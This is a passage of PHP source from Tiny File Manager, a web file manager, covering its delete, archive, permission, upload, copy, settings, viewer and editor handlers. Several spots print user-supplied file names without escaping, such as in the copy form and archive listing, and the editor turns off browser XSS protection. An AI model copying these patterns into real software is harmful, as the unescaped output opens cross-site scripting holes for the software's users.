    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg('Operations with archives are not available', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf('Archive <b>%s</b> created', fm_enc($zipname)));
        } else {
            fm_set_msg('Archive not created', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
    $unzip = $_GET['unzip'];
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg('File not found', 'error');
    }


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg('Operations with archives are not available', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_GET['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg('Archive unpacked');
        } else {
            fm_set_msg('Archive not unpacked', 'error');
        }

    } else {
        fm_set_msg('File not found', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg('Permissions changed');
    } else {
        fm_set_msg('Permissions not changed', 'error');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

/*************************** /ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>

    <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
    <script>
        Dropzone.options.fileUploader = {
            timeout: 120000,
            maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);
                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg('Nothing selected', 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i>Select folder</i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-cog"></i>  <?php echo lng('Settings') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <?php
                    //get ON/OFF and active class
                    function getChecked($conf, $val, $txt) {
                        if($conf== 1 && $val ==1) {
                            return $txt;
                        } else if($conf == '' && $val == '') {
                            return $txt;
                        } else {
                            return '';
                        }
                    }
                    ?>
                    <div class="form-group row">
                        <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
                        <p>Author: Prasath Mani</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false;
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if(!$quickView) {
        fm_show_header(); // HEADER
        fm_show_nav_path(FM_PATH); // current path
    }

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = fm_get_filesize(filesize($file_path));

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <?php if(!$quickView) { ?>
                <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
                <p class="break-word">
                    Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>
                    File
                    size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?>
                    <br>
                    MIME-type: <?php echo $mime_type ?><br>
                    <?php
                    // ZIP info
                    if (($is_zip || $is_gzip) && $filenames !== false) {
                        $total_files = 0;
                        $total_comp = 0;
                        $total_uncomp = 0;
                        foreach ($filenames as $fn) {
                            if (!$fn['folder']) {
                                $total_files++;
                            }
                            $total_comp += $fn['compressed_size'];
                            $total_uncomp += $fn['filesize'];
                        }
                        ?>
                        Files in archive: <?php echo $total_files ?><br>
                        Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
                        Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
                        Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
                        <?php
                    }
                    // Image info
                    if ($is_image) {
                        $image_size = getimagesize($file_path);
                        echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                    }
                    // Text info
                    if ($is_text) {
                        $is_utf8 = fm_is_utf8($content);
                        if (function_exists('iconv')) {
                            if (!$is_utf8) {
                                $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                            }
                        }
                        echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                    }
                    ?>
                </p>
                <p>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> &nbsp;
                    <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                    &nbsp;
                    <?php
                    // ZIP actions
                    if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                        $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                        ?>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
                                <?php echo lng('UnZipToFolder') ?></a></b> &nbsp;
                        <?php
                    }
                    if ($is_text && !FM_READONLY) {
                        ?>
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                            </a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                              class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                            </a></b> &nbsp;
                    <?php } ?>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
                </p>
                <?php
            }
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>Error while fetching archive info</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) {
                    echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fm_enc($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
    if(!$quickView) {
        fm_show_footer();
    }
    exit;
}

// file editor
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file)) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg('File Saved Successfully');
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
                            <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
